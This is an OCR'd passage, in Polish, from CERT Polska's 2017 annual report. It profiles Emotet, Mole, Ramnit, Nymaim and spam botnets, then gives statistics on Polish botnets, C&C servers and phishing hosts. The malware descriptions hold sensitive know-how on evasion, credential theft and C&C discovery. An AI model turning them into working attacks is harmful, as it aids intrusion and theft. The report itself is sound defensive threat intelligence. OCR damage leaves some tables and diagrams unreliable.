przekazywanym razem z wiadomoscia (wczesniej
zabezpieczonym przy uzyciu 768-bitowego klucza
publicznego RSA osadzonego w probce). W wersji
czwartej zrezygnowano z RC4 na rzecz algorytmu
AES. W kolejnych modyfikacjach najnowszej wersji
dodano réowniez warstwe kompres;ji zlib.

Protokét wymiany wiadomosci bazuje na Google
Protocol Buffers. Jest to rozwigzanie, ktére pozwala
na proste budowanie protokotéw, przy uzyciu
struktur definiowanych w jezyku protobuf. Na
podstawie tak okreslonego opisu, Protocol Buffers
generuje modut zawierajacy parsery i serializery dla
poszczegdlnych elementdéw protokotu, ktéry mozna
bezposrednio wykorzysta¢ w tworzonej aplikacji.
Wsrdd wspieranych jezykdéw jest m.in. Python, Java,
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PHP czy C++. Pomimo wykorzystania gotowych
rozwiazan w stosie protokotéw, twoérca Emoteta
pokusit sie 0 mata modyfikacje, wykorzystujac
niestandardowe dla Protocol Buffers kodowanie
w odpowiedzi na zadanie pobrania modutéw.

Ze wzgledu na omoéwiong wczesniej architekture
Emoteta, charakter jego ztosliwej dziatalnosci scisle
zdeterminowany jest modutami otrzymanymi od C&C.
W przypadku infekcji wykorzystujacych najnowsza
wersje, gtdwnym celem przestepcéw byto pozyskanie
danych dostepowych do kont pocztowych i dalsza
propagacja z wykorzystaniem modutu spamowego.
Dane pozyskiwane byty z menedzera haset przeglada-
rek i klientéw poczty wykorzystywanych przez ofiare.
Wykorzystano w tym celu legalne, darmowe narzedzia
do odzyskiwania haset (MailPassView i WebBrowser-
PassView firmy Nirsoft), ktérych pliki wykonywalne
byty dotaczone do modutéw.

Oproécz pozyskiwania danych, z zainfekowanego
komputera Emotet rozsytat tez spam. Wiadomosci

dystrybuowane przez modut spamowy zwykle zawie-
raty odnosnik do najnowszej wersji oprogramowania,
co sugerowato, iz miaty na celu dalszg propagacje
oprogramowania. Wraz z treécig wiadomosci i listg jej
adresatéw, ztosliwe oprogramowanie otrzymywato
od C&C pakiet danych dostepowych do skompro-
mitowanych skrzynek pocztowych, ktére nastepnie
uzywane byty do rozsytania spamu.

Aktywno$¢ Emoteta w Polsce widoczna byta na
réznych polach. Przyktady zaobserwowanych przez
CERT Polska aktywnosci stanowia:
e dystrybucja zto$liwego oprogramowania
z wykorzystaniem skompromitowanych stron
internetowych (rowniez w domenie .pl)
e charakterystyczny dla Emoteta spam rozsytany
przez maszyny znajdujace sie w Polsce
obecnos$¢ danych uwierzytelniajgcych dla polskich
kont w odpowiedziach rozsytanych przez serwer
C&C
e kampanie phishingowe dystrybuujgce Emoteta,
skierowane na polskich uzytkownikéw Internetu.

Mole

W 2017 roku mielismy okazje obserwowac
prawdziwy wysyp nowych rodzin ztosliwego opro-
gramowania typu ransomware. Jedng z nowych
rodzin, ktére ujrzaty swiatto dzienne, byt Mole.

Mole stanowi kolejna modyfikacje rodziny Cryp-
toMix. Po raz pierwszy zaobserwowany zostat

w kwietniu 2017. Oprogramowanie wyrdzniato

sie dos$¢ interesujacg metoda dystrybucji. Link
rozsytany w spamie kierowat do fatszywej strony
podszywajacej sie pod aplikacje Microsoft Word
Online. Po wejsciu na strone, uzytkownik otrzymy-
wat komunikat méwiacy, iz dokument nie moze by¢
wyswietlony ze wzgledu na nieaktualng wtyczke. Po
pobraniu i uruchomieniu “aktualizacji” na kompute-
rze uzytkownika instalowana byta najnowsza wersja
oprogramowania Mole.

Word Onfine

This document cannot be read in your browser.

laad and install latest

plugin version

Tak jak w przypadku jego poprzednikdw (rodzin
Revenge i CryptoShield réwniez stanowigcych
odmiany CryptoMixa), dystrybucja ztosliwego opro-
gramowania odbywata sie za posrednictwem exploit
kitéw (m.in. Rig EK).
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Mechanizm dziatania ransomware byt do$¢
klasyczny. Na samym poczatku oprogramowanie
weryfikowato ustawienia klawiatury i zestawu
znakodw, by upewnic sie czy ofiara nie jest rosyjskoje-
zyczna. W przypadku wykrycia rosyjskich ustawien,
malware natychmiast konczyt swoje dziatanie.

W przeciwnym razie, ztosliwe oprogramowanie
dopisywato sie do klucza Run w Rejestrze Windows
(zapewniajac sobie automatyczne uruchomienie przy
starcie systemu), a takze usuwato historie plikéw
(mechanizm Shadow Copies). Po wykonaniu tych
czynnosci, program rozpoczynat szyfrowanie plikow.
Szyfrowanie odbywa sie przy uzyciu algorytmu RC4.
Jest to nowos¢ wsrdd innych wariantéw CryptoMixa,
ktére dotychczas postugiwaty sie algorytmem AES.

Zespdt CERT Polska jest uczestnikiem projektu No
More Ransom, ktoéry zrzesza organy $cigania oraz
firmy sektora prywatnego z catego swiata w celu
umozliwienia ofiarom przestepcéw darmowego

odszyfrowanie plikéw. W ramach zgtoszen, ofiary
czesto kontaktowaty sie z naszym zespotem pytajac
o mozliwos¢ deszyfrowania plikdw.

Ze wzgledu na odniesione sukcesy w odszyfrowy-
waniu plikéw zaszyfrowanych przez CryptoMixa

i CryptFile2, postanowiliémy sprébowac swoich
sit w przypadku oprogramowania Mole. Réwniez
tym razem nasze badania zakonczyty sie sukcesem
i stworzyliSmy dziatajacy dekryptor, mozliwy do
pobrania ze strony https:/nomoreransom.cert.pl/
static/mole_decryptor.exe.

Niestety skuteczno$¢ oprogramowania deszyfruja-
cego $cisle zalezy od wersji Mole wykorzystanej do
zaszyfrowania plikéw. W najnowszych wydaniach
tworcy poprawili napotkane przez nas btedy w imple-
mentacji, uniemozliwiajgc odzyskanie plikéw przy
pomocy dekryptora.

Ramnit

Jesli spojrzymy na historie rozwoju Ramnita, ciezko
jest doktadnie okresli¢ do jakiej rodziny szkodliwego
oprogramowania sie zalicza. Najstarsze $lady jego
dziatalnosci pochodzg z roku 2010, kiedy posiadat
jeszcze tylko cechy robaka komputerowego i skupiat
sie na infekowaniu plikéw EXE, DLL, HTM oraz
HTML w celu rozprzestrzenienia sie i rozprowadzania
szkodliwego oprogramowania.

Rok pdzniej, korzystajgc z uprzednio wyciektego
kodu trojana Zeus, autorzy Ramnita udoskonalili
swoje dzieto wtaczajac bardziej rozwiniete elementy,
stuzace do wykradania danych ofiar.

Dzisiaj Ramnit wykorzystuje wiele ciekawych mecha-
nizmow stuzacych do jeszcze lepszego wykradania
danych uzytkownikéw, np:

* Wykonywanie atakéw Man-in-the-Browser

* Wykradanie haset FTP i ciasteczek z przegladarek

* Wykorzystywanie DGA (Domain Generation Algo-
rithm) do znalezienia serwera C&C (Command and
Control)

* Reczne dodawanie wyjatkéw w programach
antywirusowych

* Eskalacja uprawnien za pomoca podatnosci
CVE-2013-3660 oraz CVE-2014-4113

* Wykonywanie zrzutéw ekranéw

W minionym roku wiekszosc¢ prébek, ktére zaob-
serwowalismy, pochodzita z kampanii Seamless RIG
exploit kita.

Gtownym celem Ramnita s Amerykanie, jednak
zaobserwowalismy rowniez kampanie skierowane na
uzytkownikow polskich bankéw oraz serwisow do
internetowych ptatnosci (paypal, blockchain).

Do znalezienia serwera C&C ramnit wykorzystuje
zapisang na state domene. Jednak jesli proba pota-
czenia nie powiedzie sie, to generuje pewng liczbe

(w przypadku naszych analiz zaobserwowali$my ich

od 15 do 50) domen za pomocg DGA z uzyciem ziarna
osadzonego w prébce i prébuje sie kolejno z nimi
taczy¢. Do komunikacji uzywany jest autorski algorytm
bazujacy na strukturach oraz surowych pakietach tcp.



CERT Polska
Raport Roczny 2017

nask CERT.PL

87

Poniewaz Ramnit jest modularnym trojanem banko-
wym, to wiekszos$¢ jego funkcjonalnosci wynika
z pobieranych od serwera C&C modutdw.

Dotychczas zaobserwowalismy nastepujace moduty:
* Antivirus Trusted Module v2.0

* FF&Chrome reinstall x64-x86 [silent]

* Cookie Grabber v0.2 (no mask)

* Hooker

* Ftp Grabber v2.02

Z samych nazw modutéw mozna wywnioskowac
znaczng czes$¢ ich funkcjonalnodci. Najciekawszym
zaobserwowanym przez nas modutem jest Hooker,
ktéry odpowiada za przechwytywanie danych,
wstrzykiwanie ztosliwego kodu do pobieranych przez
uzytkownika stron i hookowanie funkcji zwigzanych
z zadaniami HTTP.

Nymaim

Nymaim byt opisywany juz na poczatku 2017 roku,
stanowiac jeden z najbardziej aktywnych bankeréw
(rodzin ztosliwego oprogramowania nastawionych
na uzyskanie dostepu do kont bankowych). W ciggu
tego roku Nymaim byt réwniez obecny w wielu
polskich kampaniach phishingowych, rozsytany jako
ztosliwy zatacznik. Tres¢ maili zwykle sugerowata, ze
zataczony plik stanowi fakture z zalegta nadptatg lub
naleznoscia, co skfaniato uzytkownikéw do urucho-
mienia ztosliwego kodu.

Po raz pierwszy Nymaim zostat zaobserwowany

w 2013 roku, jako dropper wykorzystywany do
dystrybucji ransomware - gtéwnie oprogramowania
TorrentLocker. W lutym 2016 r. wzbogacony o frag-
menty kodu ISFB zyskat funkcjonalnos¢ bankera.
Od tego momentu jest regularnie rozwijany i wcigz
stanowi powazne zagrozenie dla klientéw bankowo-
Sci internetowej w Polsce.

Po uruchomieniu ztosliwego oprogramowania,
Nymaim dokonuje weryfikacji Srodowiska, sprawdza-
jac czy nie jest uruchamiany w sandboxie (np. Cuckoo),
a takze czy prébka nie “przedawnita sie” (w probce
zapisana jest data, po ktoérej dana probka przestaje
infekowac system). Jesli wszystkie warunki zostang
spetnione, Nymaim pobiera wtasciwy modut, ktory
realizuje m.in. funkcjonalnosci typowe dla malwa-

re’u bankowego, np. webinjecty. Modut ten infekuje
przegladarke, wstrzykujac ztosliwy kod na otwierang
przez uzytkownika strone banku. W rezultacie, wykra-
dane s3 dane dostepowe i $rodki z konta ofiary.

Oprogramowanie Nymaim rozsytane jest do
uzytkownikéw poprzez maile ze ztosliwym zatacz-
nikiem. Do wiadomosci zataczany jest zazwyczaj
dropper - skrypt imitujacy plik z fakturg lub doku-
ment Microsoft Office ze ztosliwym makrem, ktory
pobiera i instaluje Nymaima na komputerze ofiary.

Dystrybucja wtasciwych prébek ztosliwego opro-
gramowania i komunikacja z C&C odbywa sie za
posrednictwem sieci skompromitowanych hostéw
wykorzystywanych jako serwery posredniczace.
Adresy IP poszczegblnych proxy pozyskiwane s3

z DNS, z wykorzystaniem techniki fast-flux. W przy-
padku komunikacji z serwerem C&C, dodatkowo
fatszowany jest nagtéwek Host, ustawiany na
zaufang domene (najczesciej zepter.com lub carfax.
com), aby zmyli¢ sandboxy czy systemy IDS.

Nymaim charakteryzuje sie bardzo silnym zaciem-
nieniem kodu - jest powszechnie uznawany za jeden
z najtrudniejszych rodzajéw malware w analizie,
wykorzystujac w tym celu caty szereg zaawansowa-
nych technik . Aby uprosci¢ analize, stworzylismy
zbior skryptéw o nazwie nymaim-tools, ktéry zostat
udostepniony innym badaczom na stronie https://
github.com/CERT-Polska/nymaim-tools .

Zachecamy réwniez do przeczytania doktad-
nej analizy oprogramowania Nymaim na stronie
CERT Polska: https:/www.cert.pl/news/single/
nymaim-atakuje-ponownie/
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Spamboty

Spam jest powszechnie wykorzystywany do dystry-
bucji ztodliwego oprogramowania i niewatpliwe
stanowi jeden z podstawowych wektoréw infek-

cji. Prostota tej metody i duza skutecznos¢ byty
jednym z czynnikéw, ktére przyczynity sie m.in. do
ogromnego “sukcesu” oprogramowania ransomware
w ubiegtym roku, pozwalajac na zainfekowanie
milionéw uzytkownikéw (prawie 1,5 min unikalnych
uzytkownikéw zarejestrowat m.in. Kaspersky Lab

w 2016 roku).

Majac to na uwadze, postanowiliémy dokonaé
analizy najbardziej aktywnych botnetéw spamowych,
zwracajac szczegblng uwage na protokoty wykorzy-
stywane do komunikacji z serwerem C&C lub innymi
botami (w architekturze P2P). Pozwolito nam to m.in.
na monitorowanie aktywnosci tych botnetéw przy
pomocy narzedzia mtracker (opisanego w innej czesci
tego raportu).

Nasze badania zostaty opublikowane na konferencji
Virus Bulletin 2017, a takze w licznych artykutach
na temat poszczegdlnych rodzajéw malware. Ponizej
znajduje sie krotki opis najwazniejszych rodzin, ktére
braty aktywny udziat w rozsytaniu spamu w 2017 r.

Tofsee

Kolejnym przeanalizowanym przez nas botnetem
jest Tofsee (znany réwniez jako Gheg). Mimo, iz jego
gtéwnym celem jest rozsytanie spamu, to ze wzgledu
na swoja modularng budowe wykonuje réwniez inne
zadania. Tak jak w przypadku innych rodzin tego
typu, gtéwny plik wykonywalny pobiera z serwera
C&C kilkanascie dodatkowych bibliotek DLL, ktére
realizujg konkretne zadania.

WSsréd zadan wykonywanych przez malware mozna
wymieni¢ m.in. branie udziatu w atakach DDoS,
rozprzestrzenianie Tofsee z wykorzystaniem sieci
spotecznos$ciowych, kopanie kryptowalut, czy
witasnie rozsytanie spamu. W toku naszych analiz,
naliczyliémy az 20 tego typu modutéw, ktérych opis
dziatania znajduje sie na naszej stronie.

Woysytane przez modut spamowy emaile sg tworzone
W sposéb losowy na bazie szablonu otrzymanego

od C&C. Tofsee wykorzystuje do tego celu specjalny
jezyk skryptowy. Zawiera on wydzielone pola, ktére
zostang losowo zastgpione pewnymi ciaggami znakéw
(np. %$RND_SMILE zostanie zmienione na jedna

z kilkunastu emotikon). Dzieki temu prostsze filtry
spamowe moga je przepuscic.

W grudniu 2016 r. rozpoczeli$my monitorowanie
botnetu. Od tego czasu zgromadzilismy 63 unikalne
konfiguracje, zawierajace parametry wykonania dla
poszczegdblnych modutéw, w tym m.in. wspomniane
szablony.

Kelihos

Kelihos, znany rowniez jako Hlux, stanowi jeden

ze starszych botnetéw spamowych. Liczne préby
unieszkodliwienia botnetu konczyty sie niepowodze-
niem, az do aresztowania gtéwnego operatora przez
FBI w lipcu 2017. Szacuje sie, ze botnet rozsytat ok.
4 miliardy wiadomosci dziennie, uzywajac do tego
celu 45 tys. zainfekowanych komputeréw zombie.

4 miliardy wiadomosci dziennie

\1
\ 4
’ o \
z 45 tysiecy

zainfekowanych komputeréw zombie
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Necurs

Necurs stanowi jeden z wiekszych botnetéw na
Swiecie, w skfad ktérego wchodzi 1.5 miliona kompu-
teréw zombie. Zainfekowane komputery rozsytaja
e-maile ze spamem do wielu odbiorcéw - zwykle
stylizowane sg na prosbe o poprawienie faktury czy
potwierdzenie zamdwienia. Necurs wykorzystywany
byt m.in. do dystrybucji ransomware’u Locky, ktérego
dropper byt dotaczany jako zatacznik do wysytanych
wiadomosci.

Botnet ma strukture hybrydowa i stanowi potacze-
nie sieci scentralizowanej (pozwalajacej na szybkie
wydawanie komend do botéw) z siecia peer-to-peer,
ktéra stuzy przede wszystkim do propagacji informa-
cji o dostepnych serwerach C&C.

Adresy C&C s3 pozyskiwane na trzy sposoby - czes¢
z nich osadzona jest w prébce, czes¢ generowana
przy uzyciu DGA, ostatecznie pobierane sa réwniez
z sieci p2p.

Szczegoétowa analiza protokotéw wykorzystywanych
w komunikacji znajduje sie na naszej stronie.

Necurs binary

[ ——Sceded with botnet id
T —
DGA
Return potential CiCs —— |
e

="
L Useudp key to communicate vith peer {UDF)

——

T——
Return c2_key
i il
Return c2_path ‘_—ﬁ/;]
Rel 2_adds list
P L -

jat—

— Get next command (H1 TP}
—

T—

P

|
e

“\Jexecim an tkancn Main C&C
with parameter X(Z

—— Downluad dil OxABCD (HTTF)
——Wiox
—_—

—_—

>

]
dll, mdS=0xABCO
//
//
k-
Modile mdS=0xABCD | - Get emails (HTTP)
o ——
—|
spam template Rl
Wl qn:m van:nm t/f/ Spam C&C
7 A 5w B pam
|

S mmhaef@gmall.com/

~__—{ lohn@doc.com
== 5 SMTP]

e -
= —— oo N —

——3081 (SMTP) > michaek@gmall com
——___—_\
T John@doe.com

Schemat 5. Schemat komunikacji ztosliwego opro-
gramowania Necurs

Send-Safe

Historia tej rodziny ztosliwego oprogramowania
zaczyna sie w 2002 r. Nazwa pochodzi od domeny
send-safe.com, wykorzystywanej przez prawdopo-
dobnego twoérce malware'u, Ruslana Ibragimova.
Send-Safe poczatkowo stanowit narzedzie do rozsy-
tania spamu, ktére w okolicach marca 2016 roku
zostato zmodyfikowane, stajac sie petnoprawnym
botem spamowym.

Gtéwnym celem autoréw byto uczynienie narzedzia
mozliwie niezauwazalnym. Z tego wzgledu, serwer
C&C jest niedostepny przez wiekszos¢ czasu, a kanat
komunikacyjny otwierany jest tylko na czas rozsy-
tania spamu. Co jaki$ czas wysytany jest heartbeat,
w postaci krétkich wiadomoséci UDP, informujgcych
o stanie serwera.

W komunikacji UDP istotny jest przede wszystkim
rozmiar wiadomosci. W przypadku, gdy serwer
rozsyta 8-bajtowy heartbeat - C&C jest dostepne,
ale nie posiada spamu do rozestania. Natomiast przy
pomocy 24-bajtowych komunikatow, boty informo-
wane s3 o tym, ze otwarty zostat kanat HTTPS, przez
ktéry moga otrzymac wiadomosci do rozestania.

Kampanie spamowe zazwyczaj trwaja krotko ok. 2-3
dni, zas serwer aktywny jest wytgcznie w okreslo-
nych godzinach (rozpoczyna przesytanie datagraméw
UDP ok. 16:00-21:00 czasu $rodkowoeuropejskiego).
W potaczeniu z zastosowang metoda komunikacji,
catos¢ czyni botnet trudnym do monitorowania.
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Statystyki

Informacje o zagrozeniach pochodza z wielu Zrédet, m.in. z naszej dziatalno-
$ci operacyjnej, automatycznych systemdéw monitorujacych zagrozenia (np.
sinkhole), ale przede wszystkim od podmiotow zewnetrznych, wérdd ktérych
znajduja sie organizacje non-profit i niezalezni badacze, CERTy narodowe, jak

i firmy komercyjne.

Warto zauwazyc, jak bardzo réznorodne sg sposoby
pozyskania informacji o zagrozeniach. Ponizej przed-
stawiamy kilka najczesciej wykorzystywanych:

e Dane o zainfekowanych komputerach (botach) sg
pozyskiwane przede wszystkich poprzez przej-
mowanie infrastruktury botnetéw (domeny C&C)
i kierowanie ich na systemy typu sinkhole.

e Do wykrywania atakéw na komputery udostep-
niajace ustugi w internecie (np. SSH, WWW)
uzywane s3 honeypoty, czyli systemy-putapki
udajace rzeczywiste serwery.

e W podobny sposdb - przy uzyciu honeypotéw
klienckich, czyli systeméw udajacych przegla-
darki WWW - moga by¢ wykrywane ztosliwe
strony WWW, infekujace odwiedzajacych je
uzytkownikéw.

e Wykrycie podatnych ustug, np. Zle skonfi-
gurowane serwery NTP, ktére mogg zostac
wykorzystane do atakow DDoS, odbywa sie
poprzez skanowanie przestrzeni IPv4 na duzg
skale.

Ograniczenia

Dotozylismy staran, aby obraz sytuacji jaki wynika

z prezentowanych statystyk trafnie opisywat wszyst-
kie zagrozenia o duzej skali. Nalezy jednak pamietac,
Ze majg one pewne ograniczenia, gtéwnie wynika-
jace ze specyfiki dostepnych danych zrédtowych.
Przede wszystkim nie jest mozliwe zebranie petnej
informacji o wszystkich rodzajach zagrozen, czego
najwyrazniejszy przyktad to ataki ukierunkowane

na konkretne podmioty lub grupy uzytkownikéw

(w przeciwienstwie do atakéw masowych), ktore
zazwyczaj nie zostang zarejestrowane przez nasze
systemy monitorujace, ani nie bedg zgtoszone do
naszego zespotu.

Problem z odwzorowaniem aktualnego stanu
faktycznego jest spowodowany réwniez tym, ze

zagrozenie moze by¢ aktywne - nawet przez dtuz-
szy czas - zanim zostanie ono zbadane i rozpocznie
sie jego regularna obserwacja. Na przyktad, liczba
zainfekowanych komputeréw nalezacych do botnetu
moze by¢ trudna do ustalenia zanim zostanie on
zneutralizowany poprzez przejecie jego infrastruk-
tury sterujacej (C&C).

Istotng kwestig pozostaje okreslenie skali danego
zagrozenia, co najczesciej wykonujemy poprzez
zliczanie powigzanych z nim adreséw IP zaobser-
wowanych w ciggu dnia. Przyjmujemy tym samym
zatozenie, ze liczba adresow jest zblizona do liczby
urzadzen oraz uzytkownikéw, ktérych dany problem
dotyczy. Oczywiscie jest to miara niedoskonata

Z racji powszechnego wykorzystywania dwoch



CERT Polska
Raport Roczny 2017

nask CERT.PLO-

91

mechanizmoéw, ktére maja wptyw na widoczne

publiczne adresy:

e NAT (translacja adreséw), powodujaca niedo-
szacowanie, poniewaz za jednym zewnetrznym
adresem IP czesto znajduje sie wiele komputeréw.

e DHCP (dynamiczna adresacja), powodujaca prze-
szacowanie, poniewaz np. ten sam zainfekowany
komputer moze w ciggu jednego dnia zostaé
wykryty kilkukrotnie pod réznymi adresami.

Mozna podejrzewad, ze wptyw obu tych mecha-
nizmow na uzyskane wyniki sumaryczne w duzej

czesci sie znosi, ale doktadne zbadanie skutkéw
NAT i DHCP w tym konteks$cie wymagatoby prze-
prowadzenia osobnej analizy.

Ostatnia uwaga dotyczy wersji protokotu IP:
wszystkie podane statystyki odnosza sie do wersji
czwartej tego protokotu. Wynika to z wcigz niewiel-
kiego stopnia wdrozenia IPvé6 w naszym kraju

oraz, co sie z tym wigze, z pomijalnie matej liczby
zgtoszen jakie otrzymujemy odno$nie tego rodzaju
adresow.

Botnety

Botnety w Polsce

Tabela 6 prezentuje liczbe zainfekowanych kompu-
teréow w polskich sieciach. W 2017 roku tacznie
zgromadziliémy informacje o 1 061 670 unikalnych
adresach IP wykazujgcych aktywnos$¢ zombie.

Rodzina Rozmiar
Mirai 8 334
Andromeda 6711
Conficker 3759
Necurs 2231
Nymaim 1966
Sality 1830
Pushdo 1754
Isfb 1475
Foxbantrix 1433
Ramnit 1199

Tabela 6. Najwieksze botnety w Polsce

Wartosci w tabeli 6 zostaty ustalone jako najwieksza
dzienna liczba unikalnych adreséw IP zainfekowa-
nych komputeréw w polskich sieciach. Podobnie jak
w roku ubiegtym na pierwszym miejscu uplasowat
sie Mirai. Warto zaznaczyc¢, ze robak ten ewoluowat
i obecne implementacje réznig sie od tych z 2016
roku. Nie jest zaskoczeniem wysoka pozycja botnetu
Andromeda, ktérego infrastruktura zostata zneu-
tralizowana w listopadzie. Wiecej o tym botnecie
napisalismy w osobnym rozdziale. Na trzecim miej-
scu znajduje sie Conficker, to niemal trzy razy mniej
infekcji w poréwnaniu do roku 2016. Wannacry
uplasowat sie poza pierwsza dziesiatka; w polskich
sieciach zarejestrowali$my w ciggu jednego dnia
maksymalnie 700 infekcji tym robakiem. Wiecej

o Wannacry piszemy rozdziale na stronie 52.
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Aktywnos¢ Botnetéw z podziatem
na operatoréw telekomunikacyjnych

Na rysunku 29 prezentujemy stopien zainfekowania
uzytkownikéw u najwiekszych operatorow teleko-
munikacyjnych. Szacujemy go na podstawie liczby
unikalnych adreséw IP, na temat ktérych otrzyma-
lismy informacje o infekcji. Stopien zainfekowania
uzyskujemy dzielac liczbe botéw przez liczbe klien-
téw korzystajacych z ustug dostepu do internetu

u danego operatora, na podstawie danych z ,Raportu
o stanie rynku telekomunikacyjnego w Polsce

w 2016 roku” wydanego przez Urzad Komunikacji
Elektroniczne;j.

Srednio obserwowali$my 13 tys. botéw dziennie,
czyli okoto o jedna trzecig mniej w poréwnaniu

z rokiem 2016. Spadek ten wynika z utrzymujacej
sie popularno$ci oprogramowania typu ransom-

ware, ktére jest trudniejsze do bezposredniego
monitorowania, jak i ze zmniejszenia obserwowane;j
aktywnosci duzych botnetéw. Stopniowy spadek
infekcji botnetu Mirai miat miejsce u wiekszosci
operatoréw, pod koniec roku byto ich 10-cio krotnie
mniej niz w styczniu. W listopadzie przejecie botnetu
Andromeda ujawnito infekcje u $rednio 0,10 proc.
uzytkownikéw u kazdego z najwiekszych polskich
operatoréw.

Najwiekszy odsetek infekcji po raz kolejny odnoto-
walismy w sieciach Netii. Na poczatku roku az 0,8
proc. wszystkich klientéw tej sieci byto zainfeko-
wanych, gtéwnie przez botnet Mirai. U pozostatych
operatoréw stopien zainfekowania uzytkownikéw
przez wiekszos¢ roku byt zblizony do 0,15 proc.,

z wyjatkiem Multimedii, gdzie plasowat sie na pozio-
mie 0,2-0,3 proc.
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Rysunek 29. Wykres zmian stopnia infekcji u operatorow w 2017 roku.
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Serwery C&C Poz. Kraj Ko cy 2 Udziat
W 2017 roku otrzymali$my informacje o 34 555 1 USA Aok 30,92%
réznych adresach IP uzywanych jako serwery zarza-
dzania botnetami (C&C). Z uwagi na charakter 2 Niemcy 2137 6.18%
zagrozenia zdecydowalismy sie na opisanie problemu
ze wzgledu na lokalizacje adresu IP lub domene 3 Algieria 2068 598%
najwyzszego poziomu TLD nazwy domenowej C&C.
W statystykach pomineliémy zgtoszenia dotyczacych 4 Rosja 2038 590%
serwerdw sinkhole CERT Polska, ktérych uzywamy
do unieszkodliwiania botnetéw i wykrywania zainfe- 5 Holandia 1845 534%
kowanych maszyn.

6 Niemcy 1093 3,16%
Otrzymalismy zgtoszenia dotyczace adreséw IP ze
152 krajow. Podobnie jak w poprzednich latach, 7 Francja 1066 3,08%
najwiecej ztosliwych serwerow byto zlokalizowa-
nych w Stanach Zjednoczonych (30 proc.). 69 proc. 8 Arabia 1042 302%
sposréd wszystkich serweréow C&C utrzymywanych Saudyjska werne

byto w 10 krajach przedstawionych w tabeli 7.
9 Kanada 1011 2,93%

10 Szwecja 795 2,30%

Zaobserwowalismy 3470 réznych systemow auto-
nomicznych, w ktérych umiejscowione byty serwery

C&C. Dziesie¢ systeméw autonomicznych zawierato 20 Polska 0,76%
ponad 21 proc. wszystkich ztosliwych serwerdéw.
Szczegbty znajduja sie w tabeli 8. Tabela 7. Kraje z najwiekszg liczbg serweréw C&C
Poz. Numer AS Nazwa Liczba IP Udziat
1 36947 Telecom Algeria 2 066 6,0%
2 16276 OVH 922 2,7%
3 16509 Amazon 728 2,1%
4 26496 GoDaddy 622 1,8%
5 47155 ViaEuropa i Lund AB 604 1,7%
6 13335 Cloudflare 600 1,7%
7 174 Cogent 522 1,5%
8 9009 M247 449 1,3%
9 24889 Monzoon Networks 446 1,3%
10 60781 LeaseWeb Netherlands 417 1,2%

Tabela 8. Systemy autonomiczne z najwieksza liczba serwerow C&C
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W Polsce serwery C&C byty aktywne pod 261
réznymi adresami IP (20. miejsce na $wiecie z udzia-
tem 0,76 proc.) w 89 systemach autonomicznych.
W tabeli 9 prezentujemy zestawienie dziesieciu

systemoéw autonomicznych, w ktérych znajdowato
sie najwiecej ztosliwych serweréw zarzadzajacych
botnetami. W sumie zawieraty one prawie potowe

wszystkich C&C w Polsce.

Poz. Numer AS Nazwa AS Liczba
1 12824 home.pl
2 16276 OVH
3 15967 Nazwa.pl
4 5617 Orange
5 29522 KEI
6 21021 Multimedia
7 197155 Artnet
8 12741 Netia
9 43333 Nephaz
10 6830 UPC

IP
29
19
15
12

Tabela 9. Systemy autonomiczne, w ktorych hostowanych jest najwiecej C&C w Polsce

Otrzymali$my rowniez zgtoszenia o 78 723 petnych
nazwach domenowych (FQDN), ktére petnity role
serwerdw zarzadzajacych botnetami. Zostaty one
zarejestrowane w obrebie 305 domen najwyzszego
poziomu (TLD), z czego ponad 30 proc. w .com.

Poz. TLD

.com

.net

.org

.info

.top

.ru

.pt
.de

O | 0O (NN A WIN e

.pwW

.biz

=
o

Tabela 10. Domeny najwyzszego poziomu, w ktorych zarejestrowano serwery C&C

Udziat
11,1%
7.3%
5,7%
4,6%
3,4%
3,4%
3,1%
3,1%
2,7%
2,3%

Zestawienie najpowszechniejszych TLD przedsta-
wiamy w tabeli 10. Zblizona liczba jak w zesztym
roku, 251 domen .pl byto wykorzystywanych jako
C&C, z czego dla 11 adresow domeng drugiego

poziomu byta com.pl.

Liczba domen
24 662
16 733
11111
10 579

2599
1362
637
619
560
504

Udziat

31,3%

21,3%

14,1%

13,4%

3,3%

1,7%

0,8%

0,8%

0,7%

0,6%
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Phishing

W tym podrozdziale uwzgledniamy wytacznie W roku 2017 otrzymali$my tacznie az 772 387 zgto-
statystyki dotyczace phishingu w tradycyjnym rozu- szen phishingu w polskich sieciach. Dotyczyty one
mieniu tego stowa, czyli podszywania sie (przede 32 661 adreséw URL z 2 545 domen prowadzacych
wszystkim z wykorzystaniem poczty elektronicznej do stron, ktére rozwigzywaty sie na 1830 unikalnych
i stron WWW) pod znane marki celem wytudzenia adresow IP.

wrazliwych danych. Nie odnosimy sie wiec ani do
wytudzania danych przy pomocy ztosliwego opro-
gramowania, ani do podszywania sie pod dostawcow
faktur itp. celem dystrybucji ztosliwego oprogra-
mowania. Statystyki dotycza stron zlokalizowanych
w Polsce, a wiec nie uwzgledniajg atakéw phishin-
gowych na polskie instytucje przy uzyciu stron
utrzymywanych za granica.

Poz. Numer AS Nazwa AS Liczba IP Liczba domen

1 12824 home.pl 424 889

2 15967 Nazwa.pl 235 348

3 5617 Orange 133 12

4 197226 Sprint Data Center 57 117

5 29522 KEI 52 74

6 16276 OVH 52 126

7 43333 Nephax 44 64

8 198414 H88 41 60

9 57367 ATM 31 171

10 31229 E24 28 50

Tabela 11. Polskie systemy autonomiczne, w ktérych znajdowato sie najwiecej stron phishingowych
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Ustugi pozwalajace na prowadzenie
atakow DRDoS

W roku 2017 otrzymalismy zgtoszenia dotyczace W tabelach znajduje sie takze zestawienie liczby
2,3 miliona réznych adreséw IP w Polsce, na ktérych adreséw IP zaobserwowanych w ciggu roku
znajdowaty sie btednie skonfigurowane serwery w stosunku do tacznej liczby adreséw rozgtasza-

i ustugi, mogace zostac wykorzystane przez ataku- nych przez dany system autonomiczny. Rozmiar AS
jacych do przeprowadzenia odbitych atakéw DDoS (liczba rozgtaszanych adreséw IP) zostat obliczony
(Distributed Reflection Denial of Service - DRDoS). na podstawie danych pochodzacych z RIPE wedtug
Na kolejnych stronach przedstawiamy szczegotowe stanu z 1 lipca 2017 roku.

statystyki dla szeSciu najczesciej wystepujacych
ustug tego rodzaju.

Srednia Maksimum Odchylenie taczny czas

Fem LEIEE Dzienna Dzienne standardowe obserwaciji

1 DNS 62476 77 529 23323 99%

2 NTP 32028 36 252 4528 86%

3 portmapper 30 065 31787 1590 86%

4 SSDP 25245 30010 4302 87%

5 SNMP 24 671 31954 4924 87%

6 NetBIOS 23 567 39 680 3440 88%

7 mDNS 5271 7 000 642 86%

8 MS SQL 5030 5919 552 83%

9 Memcached 718 1365 232 88%

10 Chargen 429 719 155 88%

11 QOTD 222 553 184 89%

12 XDMCP 179 275 34 86%

